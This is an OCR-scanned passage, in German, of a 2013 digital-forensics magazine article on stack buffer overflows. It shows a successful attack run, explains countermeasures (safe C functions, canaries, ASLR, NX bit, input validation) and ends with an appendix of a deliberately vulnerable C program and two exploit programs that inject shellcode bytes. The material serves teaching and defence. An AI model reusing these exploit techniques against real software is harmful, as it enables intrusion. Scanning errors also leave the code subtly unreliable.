relative Sprung 0x171cc4 Bytes weit, was im Schad-Code flr
das Originalprogramm zu berucksichtigen ist.
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Administrator: Eingabeaufforderung - bufferoverflow o |[[E-| =)

C:\Digifor\Bufferoverflow\Debug>bufferoverflow { hex.txt
Bitte geben Sie Thr Passwort ein:

912345
[Zugang verweigert?

Hallo_Du_genialer_Hacker?
Zugang erteilt?

£ Bufferoverflow.exe o @ @
Bufferoverflow.exe funktioniert nicht mehr
Das Programm wird aufgrund eines Problems nicht richtig

ausgefahrt. Das Programm wird geschlossen und Sie werden
benachrichtigt, wenn eine Losung verfugbar ist.

| Programm schlieBen |

Auch hier besteht der Schonheitsfehler, dass das Programm
nach dem illegalen Aufruf der Funktion zugang erteilt ()
absturzt. Das nehmen wir hin.

Ausblick und Portierung des Schad-Codes

Nun haben wir nur ein ganz simples Programm ohne jegliche
Funktion angegriffen, aber es sollte nicht schwerfallen, wenn
man sich nun vorstellt, was man mit einer echten in Betrieb be-
findlichen Anwendung anstellen kann. Gerade wenn diese Soft-
ware dann auf einem o6ffentlich zuganglichen Server im Internet
lauft, ist die Gefahr grof3, dass ein Angriff tatsachlich auch einen
Schaden anrichtet. Das kann das gezielte Abschalten eines
Dienstes zur Folge haben (Denial of Service-Attacke — kurz DoS)
oder sogenannte Cross-Site-Scripting-Angriffe ausldsen. Hierbei
wird durch Ausnutzen einer Schwachstelle bei einer Benutzer-
eingabe (z.B. einem Formularfeld) versucht, Schad-Code einzu-
schleusen, der dann den Server angreift oder Uber diesen auf
nachfolgend angemeldete Clients (andere Anwender) Ubertragen
wird.

Stellen Sie sich z.B. vor, auf einer Website ist ein Eingabefeld
vorhanden, welches Eingaben in praktisch beliebiger Lange und
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mit beliebigen Zeichen ungepruft zulasst. Dieses Formularfeld
wird nach Absenden des Formulars per POSTVi- oder GETVii-
Methode an den Server Ubertragen. Pruft dieser die Variablenin-
halte nun ebenfalls nicht ab, so kdnnte Schad-Code Uber einen
vergleichbaren Weg, wie in unserem ausfuhrlich besprochenen
Beispiel, in den Server eingeschleust werden.

Dieser fuhrt dann den Schad-Code ggf. automatisch aus, offnet
dem Angreifer Tur und Tor fir die Ubernahme des Systems oder
fuhrt beispielsweise Datenbankabfragen und Datenbankmanipu-
lationen durch. Der Schaden kann dann immens sein. Dabei ist
es so einfach, ein Formularfeld auf zulassige Zeichen und eine
maximale Eingabelange zu begrenzen (nicht ,Max. Lange® mit
.Breite (in Zeichen)“ verwechseln):
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<body >] [<table>] [<F >[ [<td>] [<form>] [<p>| [Einput>]
e
Eingabefeld § .
1 Absenden 1 Zuriicksetzen
Textfeldeigenschaften =
Mame: Eingabefeld
Anfangswert:
Breite (in Zeichen): 20 Aktivierreihenfolge:
Kennwortfeld: Dl @nNen
Galtigkeitsprafung far Textfeld
Anzeigename:
Datentyp: Text E
Textformat
[]Buchstaben [ Leerraum
(V] zifem] [ Anderes:
Zahlenformat
Gruppierung: Komma @) Punkt Leerzeichen Ohne
Dezimal: Q) Komma Punkt
Datenlange
[V] Erforderlich Min. Lénge: |3 Max. Lénge: |30
Datenwert
[ Feld ist: Grofer oder gleich Wert:
[lund: Kleiner oder gleich Wert:
Atnechen |

Das bewirkt dann der durch den Editor hinterlegte Validierungs-
Code:

<p align="center"><font face="Arial">Eingabefeld</font>
<!--webbot bot="Validation" S-Data-Type="String" B-Allow-
Letters="TRUE" B-Allow-Digits="TRUE" B-Value-Required="TRUE"
I-Minimum-Length="3" T-Maximum-Length="30" -->

<input type="text" name="Eingabefeld" size="20" max-
length="30"></p>
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GegenmaRnahmen

Der Angriff bzw. die Entwicklung des Schad-Codes ist beim ers-
ten Mal recht aufwandig und man stolpert schon einmal Uber die
eine oder andere Eigenart des Entwicklungs-oder Betriebssys-
tems. Und natdrlich ist der hier gezeigte Ansatz eher akademi-
scher Natur, da man als Angreifer oft keinen Zugriff auf den
Quellcode hat. Aber selbst das ist manchmal gegeben (man den-
ke an Open-Source-Projekte) und letztlich kein Hinderungsgrund,
denn es gibt fertige Toolkits, die Software systematisch nach
Schwachstellen und unsicheren Funktionen abscannen und di-
verse Angriffsversuche starten. Der Schad-Code ist dabei so ro-
bust und universell geschrieben, dass man sich als Angreifer
keine Sorgen mehr Uber verschobene Adressen oder den ge-
nauen Stack-Aufbau machen muss. Das macht alles das Exploit-
Entwicklungskit.

Grundlegende GegenmalRhahmen

Die wirksamsten Gegenmalinahmen greifen bereits bei der Soft-
ware-Entwicklung und Programmierung. Jeder Programmierer
sollte sich Gedanken uber die Sicherheit des von ihm entwickel-
ten Programms machen und die mittlerweile als unsicher gelten-
den Funktionen konsequent meiden. Es gibt keinen Grund, eine
gets-Funktion in ein C-Programm einzubauen, da diese — wie
gezeigt — die Lange der eingegebenen Zeichen nicht pruft und
leicht zu einem Pufferuberlauf fuhrt. Stattdessen muss man si-
chere Funktionen benutzen. Hier ware das sichere Pendant die
Funktion fgets ([ziel], [quelle], [anzahlzeichen]),
die maximal nur die mit dem Parameter [anzahlzeichen]
festgelegten Zeichenzahl aus der Quelle (z.B. stdin) einliest
und in die Zielvariable [ziel] schreibt. Ist hierbei die Zielvariab-
le dann doch wieder kleiner dimensioniert als der Wert [an-
zahlzeichen], ist dem Programmierer auch nicht zu helfen.
Dann soll er das Programmieren lieber lassen. Weitere unsichere
C-Funktionen sind beispielsweise strcpy, memcpy oder
fscan, die allesamt nicht prufen, ob die Quelle ins Ziel passt.
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Google hilft dabei weiter, unsichere Funktionen entsprechend der
verwendeten Programmiersprache zu finden und welche Routi-
nen ersatzweise einzusetzen sind. Am besten man streicht die
unsicheren Befehle direkt aus seinem Sprachschatz!

Canary, Magic Numbers, ASLR und Stack-
Execution-Bit

Da die dummen Programmierer nicht aussterben und auch den
Betriebssystemherstellern bewusst ist, dass man mit dem Stack
Unsinn betreiben kann, hat man verschiedene Schutzmechanis-
men entwickelt, die je nach System implementiert sind. So wer-
den durch die sogenannte Canary-Funktion (Kanarienvogel) spe-
zielle ,Magic Numbers® (also bestimmte Bitmuster) auf dem
Stack abgelegt. Wird der Stack von Schad-Code uberschrieben,
so werden i.d.R. auch diese ,Magic Numbers® zerstort. Prifrouti-
nen des Betriebssystems erkennen das und schlagen Alarm bzw.
beenden das Programm. Der Angreifer muss also entweder
Gluck haben, dass er die ,Magic Numbers® nicht versehentlich
uberschreibt oder er sorgt dafur, dass er diese ggf. rettet und als
Fullmaterial prazise an die Stelle schreibt, an der sie urspringlich
gelegen haben. Da viele Angriffsversuche darauf bauen, dass
auf dem Stack immer wieder die gleichen Muster an den gleichen
Stellen zu finden sind, hilft die sogenannte ,Address Space Lay-
out Randomization (ASLR)“, die bei jedem Ausflihren des Pro-
gramms den Stack an verschiedenen Speicheradressen ablegt.
Eine weitere MalRnahme ist das Kennzeichnen des Stacks als
,hicht-ausfuhrbar® (non-executable). Dies verhindert, dass be-
stimmte Bereiche des Stacks als ausflUhrbarer Programmcode
interpretiert werden (was unseren Angriff ja erst ermoglicht hat).
Das Setzen des NX-Bits ist daher eine wirksame Methode zu
Verhinderung der Ausfuhrung von Schad-Code. Manche dieser
Mechanismen sind zwar standardmafig im Betriebssystem akti-
viert, mussen jedoch vom Programmierer bei der Software-
Erstellung explizit unterstitzt werden. Zu Testzwecken kann man
diese Mechanismen z.B. mit dem ,Enhanced Mitigation Experi-
ence Toolkit (EMET)“ * von Microsoft abschalten.
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Ausreichende Dimensionierung der Variablen

Anhand der gezeigten Beispiele sollte klar geworden sein, dass
ein Hauptgrund fur die Angriffsmoglichkeit in der unzureichenden
Dimensionierung der Variablen (im Beispiel die String-Variable
puffer) gelegen hat. Ware z.B. die Variable puffer als
char[255] angelegt worden, ware der gesamte Schad-Code in
puf fer gelandet und hatte keinen Schaden anrichten kdnnen.

Begrenzung der Eingabelange

Das allein ist naturlich kein Schutz, denn wenn man 255 Fullzei-
chen eingibt und darauf den Schad-Code folgen lasst, ist das
Kind wieder in den Brunnen gefallen. Wichtig ist daher, immer zu
prufen, ob eine Eingabe oder Quelle speichertechnisch in das
Ziel passt — sprich maximal so grof3 ist wie das Ziel. Das kann
man durch Abfragen der Lange einer Variablen oder eines Ein-
gabefeldes i.d.R. sehr einfach bewerkstelligen (siehe Kapitel 0).

Begrenzen Sie daher in Ihren Programmen und Formularen die
Lange von Eingaben bzw. Eingabefeldern auf sinnvolle Werte.
Bitte dabei auch nicht zu knapp dimensionieren, denn so sind
das Jahr 2000-Problem und die Aufwande bei der Umstellung
von 4 auf 5 Stellen bei der Postleitzahl nach der Wiedervereini-
gung entstanden.

Prufen auf unzulassige Zeichen

Ein wesentlicher Schutz vor Einschleusen von Schad-Code be-
steht darin, eingegebene Zeichen vor deren Weiterverarbeitung
oder Speicherung auf den zulassigen Zeichenvorrat zu be-
schranken. Wenn sie z.B. nur Buchstaben und Zahlen als Einga-
be erwarten (bendtigen), dann sollten Sie alle anderen Zeichen
herausfiltern. Dadurch erschweren Sie das Einschleusen von
Schad-Code erheblich, da hierfur i.d.R. auch Zeichen bendtigt
werden, die auRerhalb der Ublichen, druckbaren ASCII-Zeichen
liegen.
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Boundary-Checks

Es kann zudem nie schaden, zu prifen, ob in Schleifen oder Ar-
rays die zulassigen Grenzen (Dimensionierungen bzw. Wertebe-
reiche) eingehalten werden bzw. was passiert, wenn man ganz
kleine, ganz grol3e, negative Werte oder Sonderzeichen eingibt.
Ist Inre Software robust gegen Falscheingaben und Extremwer-
te?
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Fazit

Es ist selbst fir den Fachmann manchmal erschreckend, wie oft
Schwachstellen in Software gefunden und oft auch ausgenutzt
werden. Die hohe Anzahl von Updates u.a. von Betriebssyste-
men oder gangigen Anwendungsprogrammen und Tools spricht
hier eine deutliche Sprache.

Die ,guten“ Hacker handeln Ubrigens nach einem ungeschriebe-
nen Gesetz, dass nach Finden einer Schwachstelle zunachst der
Hersteller der Software informiert und ihm Gelegenheit gegeben
wird, die Lucke zu schlieBen. Erst nach einiger Zeit wird dann
uber die Schwachstelle offiziell berichtet, damit die Betreiber der
Software die Lucke mit einem zwischenzeitlich bereitgestellten
Patch oder Bugfix schlieRen konnen. Verlassen darauf, dass je-
der Hacker das so halt bzw. dass ein Hersteller auch schnell re-
agiert, sollte man sich naturlich nicht. Die dunkle Seite der Ha-
cker macht solche Schwachstellen nicht 6ffentlich, sondern nutzt
sie aus! Und wie bereits erwahnt, muss man sich als Hacker gar
nicht die Mihe machen, eigenen Schad-Code Uber den eher
theoretischen Ansatz — wie in diesem Artikel beschrieben —
selbst zu entwickeln. Das kénnen nur die fachlich guten ,bésen”
Hacker. Die anderen klicken sich einen Virus, Trojaner oder
Schad-Code einfach mit einem Baukasten a la ,Jugend forscht"
zusammen und wissen nicht wirklich, was sie tun und anrichten.

Lob an Sie als Leser, dass Sie ,dabei” geblieben sind. Das — zu-
gegeben doch anspruchsvolle — Thema hat Sie sicherlich gefor-
dert. Aber Sie haben nun sicherlich auch eine ganz konkrete
Vorstellung, wie ein Bufferoverflow und das Einschleusen von
Schad-Code funktionieren und nicht nur eine vage Ahnung. Pru-
fen Sie daher lhre selbst erstellte bzw. betriebene Software da-
hingehend, ob dort nicht auch die eine oder andere Schwachstel-
le enthalten ist oder lassen Sie sie vom externen Profi durch ei-
nen Penetrationstest prufen.
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Lesen Sie in der nachsten Ausgabe 03-2013 von
DigiFor Inside ,,Datensicherheit - Datensicherung - Daten-
schutz — Security-Update 2013“

Digitale Forensik

Dipl-ing. Thomas Kéfer

3. Ausgabe

Datensicherung-Datensicherheit- 1sch
Security-Update 2013

www.KaeferLive.de

Hyperlink: http://www.KaeferLive.de/digifor-inside

DigiFor Inside — 2. Ausgabe — www.KaeferLive.de 73


http://www.kaeferlive.de/digifor-inside

lhr

Thomas Kaéfer

P.S. Und wenn Sie ein echtes Sicherheitsproblem haben oder
dieses flur die Zukunft vermeiden mochten, dann kontaktieren Sie
uns. Wir kimmern uns darum: Tel. 02405/479490 oder E-Mail
info@thomaskaefer.de
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Anlagen — Quellcodes

Finales Opferprogramm ,,Bufferoverflow*

#include <stdio.h> // Einbinden der bendtigten Bibliotheken
#include <stdlib.h>
#include <string.h>
void zugang_erteilt (void) {
puts ("Zugang erteilt!\n"); // Ausgabe auf der Konsole "Zugang erteilt!" -
// gleichbedeutend mit irgendeiner sinnvollen Aktion
fflush(stdout); // Freigabe des Ausgabe-Puffers in Eclipse

void zugang_verweigert (void) {
puts ("Zugang verweigert!\n"); // Ausgabe auf der Konsole "Zugang

// verweigert!" - gleichbedeutend mit irgendeiner sinnvollen Aktion
fflush(stdout);
void eingabe(void) {
char puffer[6]="123456"; // Variable puffer zur Aufnahme der
// Benutzereingabe - auf max. 6 Zeichen dimensioniert (Designfehler)
int check=4711; // Variable zur Verarbeitung des Zugangs
// zu den Unterfunktionen
puts ("Bitte geben Sie Ihr Passwort ein: \n"); // Ausgabe auf der
// Konsole mit Aufforderung zur Passworteingabe
fflush(stdout);
gets (puffer); // unsichere Funktion, da keine Abfrage erfolgt,

// ob Anzahl der eingegebenen Zeichen (hier 6) den reservierten
// Speicherplatz auf dem Stack iibersteigt; provoziert Pufferiiberlauf;
// besser: Verwendung von fgets(puffer, 6, stdin);
if(strcmp(puffer, "geheim") == @) { // Designfehler: Zu vergleichendes
// Password steht als Klartext im Code; Kann somit leicht durch
// Disassemblen bzw. Debuggen ausgelesen werden;
check=1; // wenn Eingabe (puffer) gleich "geheim" ist,
// dann "1" zuriickgeben

else {
check=0; // wenn Eingabe (puffer) ungleich "geheim" ist,
// dann "@" zuriickgeben

}
if(check == 0) {
puts (puffer); // Ausgabe zu Kontrollzwecken
zugang_verweigert(); // check ist @ und damit wird
// Funktion zugang_verweigert aufgerufen

}

else {
puts (puffer); // Ausgabe zu Kontrollzwecken
zugang_erteilt(); // check ist nicht @ (also z.B. 1) und

// damit wird Funktion zugang_erteilt aufgerufen
}// (Designfehler, da irgendein Wert ungleich @ zum Erfolg fiihrt)

int main(void) {
eingabe(); // Aufruf der Funktion "eingabe" zum Einlesen des Passwortes
puts ("Programmende. \n"); // Ausgabe Programmende (als Kontrolle,
// ob Programm sauber beendet wird)
fflush(stdout);
return @; // Riicksprung zum Betriebssystem mit Ergebniscode @

Exploit-Programm mit minimalem Schad-Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
char pipe[] ="0123456789ABCDEFGHIJKL" // Fullmaterial bis EBP eingabe()
"\x8c\x13\x40\x00" ; // Verbogene Adresse 0x40138c
fwrite(pipe, 1, sizeof(pipe), stdout);
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return 0;

¥

Exploit-Programm mit finalem Schad-Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {

char pipestr[] ="0123456789ABCDEFGH" // 18 Zeichen Fiullmaterial
// bis EBP eingabe()
"\x28\xff\x28\x00" // EBP von eingabe() sichern
"\x30\xff\x28\x00" // Verbiegen des EIP auf den

return 0;

// Schad-Code (ehemals Riicksprung in main())
"012345678901234567891234"// 24 Zeichen Fullmaterial fiir Stack main()

"\x68\xff\x28\x00" // EBP main() retten

"\xB9\x10\x40\x00" // Riicksprungadresse in BS retten

"\x90\x90\x90\x90" // Reserve - NOP Sledge (eigentlich Uber
// flissig)

"\x90\x90\x90\x90" // Reserve

"\xc7\x04\x24\x50\xff\x28\x00" // Hier beginnt der eigentliche
// Schad-Code movl ©x28ff50, (%esp); Adresse text
"\xe8\xc4\x1c\x17\x00" // call puts 171CF4 (171CC4 bei Original
// Programm)
"\x90\xb8\x8c\x13\x40\x00"// mov eax, Riicksprung ins Betriebssystem
// oder ©x40138c (Verbogene Adresse)
"\xff\xe0" // jmp eax
"\x98\x90\x90\x90" // Reserve
"Hallo_Du_genialer_Hacker!\x00";// Das Ziel!

fwrite(pipestr, 1, sizeof(pipestr), stdout);

Hinweis: Die Quellcodes finden Sie auch zum Download auf un-

serem Portal:

http://www.KaeferLive.de/digifor-inside
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Glossar

I Exploit: von englisch ,ausnutzen®

I Disassembly: Code, der durch das Debuggen bzw. einen Di-
sassembler im Rahmen von Reverse-Engineering-Mallnahmen
ermittelt werden kann.

i |_okale Variablen haben nur in dem Bereich (z.B. Funktion) Giil-
tigkeit, in der sie definiert wurden und werden i.d.R. auf dem
Stack gespeichert. Im Gegensatz dazu gelten globale Variablen
in allen Programmteilen und liegen nicht auf dem Stack.

v Quelle: http://www.masm32.com/

v Quelle: http://www.ollydbg.de/

Vi Globale Variablen liegen nicht auf dem Stack und verandern
daher unseren Stackframe nicht.

Vi POST: Variablen (Formularfelder) werden fiir den Benutzer
unsichtbar als Nachricht an den Server verschickt

vii GET: Variablen und Parameter werden mit einem ? an die
URL angehangt und im Klartext lesbar an den Server Ubergeben.
x Quelle: http://support.microsoft.com/kb/2458544/de
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